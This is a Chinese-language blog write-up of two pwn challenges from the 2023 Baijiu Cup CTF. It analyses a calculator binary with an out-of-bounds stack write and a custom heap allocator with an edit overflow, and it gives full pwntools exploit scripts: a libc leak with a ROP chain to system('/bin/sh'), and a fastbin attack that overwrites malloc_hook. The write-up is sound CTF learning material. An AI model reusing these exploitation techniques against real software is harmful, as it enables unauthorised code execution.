柏鹫杯

2023柏鹫杯

eval

程序分析

简单看一下发现是实现了一个计算器,主要内容实在sub_E50中,说实话看的时候挺迷的,主要是那个存放数据的结构体没看懂啥规律,后来参看的别人的思路,就是硬调试

image-20231011204014174

漏洞其实不是很难找到,当你输入+100时会发现有一个段错误,就可以想到会有一个非法访问地址,就会发现在sub_DC9中有一个*(a1 + 8 * v5) = v8;操作这里a1是一个栈地址,v8是一个运算符号后面的数据是我们可以控制,但是这个v5也就是v4发现是0,接下来做的就是看看有没有办法控制这个v4(这个v4就是结构体中的第四个成员,也就是运算符号前面的数据)

image-20231011204243385

发现在sub_AC7函数中有这个操作,而且调用sub_AC7必须在调用sub_DC9前面

image-20231011205108132

发现总共有两个地方调用了 sub_AC7 ,一定不是 sub_E50 中的那个(那个在 sub_DC9 后面)那只能是从 sub_CB1 调用了

image-20231011205358006

但是想要进入 sub_CB1 需要满足 if ( !(unsigned int)sub_966((unsigned int)v3) ) 也就是当前的检查的字符是运算符号,这样才能进入下面的 sub_CB1 ,而想要进入 sub_AC7 不能是第一次进入这个函数,也就是说必须有两个运算符号

image-20231012121414509

然后就可以达到任意在栈中任意地址写,这样就可达到修改 main 的返回地址,至于泄露地址就是利用 printf("%ld\n", a2[a2[3] + 3]); 同上面一样向 a2[a2[3] + 3] 中填写一个存有 libc 的栈地址,这样就可得到发送的数据的格式 +num+p64(system)

exp

from tools import *
r = process("./eval")
elf = ELF("./eval")
libc = ELF("./libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
payload = "+52+1"
r.sendline(payload)
libc_base = int(r.recvuntil("\n")) - 244 - libc.symbols['__libc_start_main']
log_addr('libc_base')
pop_rdi_ret = libc_base+0x23b6a
system_addr = libc_base+libc.symbols['system']
bin_sh = libc_base+libc.search(b'/bin/sh').__next__()
debug(r,'pie',0xE9d)
log_addr('system_addr')
payload = "+54+"+str(system_addr)
r.sendline(payload)
payload = "+53+"+str(bin_sh)
r.sendline(payload)
payload = "+52+"+str(pop_rdi_ret)
r.sendline(payload)
payload = "+51+"+str(libc_base+0x0000000000023b6b)
r.sendline(payload)
r.send("\n")
r.interactive()

heap

程序分析

这道题的漏洞比较简单,主要难点在于它自己实现了一个 mallocfree ,实现了 fastbinunsortedbin ,并且这个 chunk 头还有 glibc 中不一样

一个正在使用的 chunk

第一个成员是一个7位的随机数,主要用于在 free 中会检查这个数字是否被破坏

第二个成员高4位用于存放 size ,第四位是 0xaaaaaaaa,也是在 free 中会被检查

带三个成员是下一个被使用的chunk(大小相同), 即使先一个 chunk 被释放到这个也会存在

image-20231017175546891

一个被释放的 chunk

发现和上面的相比多了两个成员,一个是指向上一个 chunk ,一个是指向下一个 chunk

image-20231017180719986

漏洞利用

漏洞是在 edit 中有一个溢出,并且存在 show ,在程序中也可以找到后门函数,思路就是 fastbin attack 修改 malloc_hook 为后门函数

exp

打本的话需要添加 env={"FLAG": "it-is-flag"} 因为本地没有这个环境变量

from tools import *
p = process("./heap", env={"FLAG": "it-is-flag"})
context.log_level='debug'

def add(sz):
    p.recvuntil(b"> ")
    p.sendline(b'1')
    p.recvuntil(b"size: ")
    p.sendline(str(sz).encode())
def delete(idx):
    p.recvuntil(b"> ")
    p.sendline(b'2')
    p.recvuntil(b"index: ")
    p.sendline(str(idx).encode())
def edit(idx,context):
    p.recvuntil(b"> ")
    p.sendline(b'3')
    p.recvuntil(b"index: ")
    p.sendline(str(idx).encode())
    p.recvuntil(b"data: ")
    p.send(context)
def show(idx):
    p.recvuntil(b"> ")
    p.sendline(b'4')
    p.recvuntil(b"index: ")
    p.sendline(str(idx).encode())


show_p=0xEA5
edit_p=0xE42 
add_p=0xD20
delete_p=0xDAA

add(0x100)#0
add(0x100)#1
add(0x100)#2
add(0x100)#3
add(0x100)#4
delete(1)
delete(2)

edit(0,0x111*b'a')
show(0)
p.recvuntil(b'a'*0x111)
key1=u64(b'\0'+p.recv(7))
log_addr('key1')


edit(0,0x120*b'a')
show(0)
p.recvuntil(b'a'*0x120)
heap_next=u64(p.recv(6)+b'\0\0')
log_addr('heap_next')

edit(0,0x128*b'a')
show(0)
p.recvuntil(b'a'*0x128)
base=u64(p.recv(6)+b'\0\0')-0x203060
log_addr('base')

edit(0,0x110*b'a'+p64(key1)+p64(heap_next)+p64(base+0x203060))


add(0x20)#1
add(0x20)#2
add(0x20)#5
add(0x20)#6
debug(p,'pie',edit_p,show_p,add_p)
delete(5)
delete(2)


edit(1,0x31*b'a')


show(1)
p.recvuntil(b'a'*0x31)
key2=u64(b'\0'+p.recv(7))
log_addr('key2')
malloc_hook=base+0x2031E0-0x28
edit(1,0x30*b'a'+p64(key2)+p64(0x30aaaaaaaa)+p64(malloc_hook)*3)

add(0x20)#2
add(0x20)#5
door=base+0xEAD

edit(5,p64(door))

add(0x20)
p.interactive()


posted @ 2023-10-17 18:21  何思泊河  阅读(9)  评论(0编辑  收藏  举报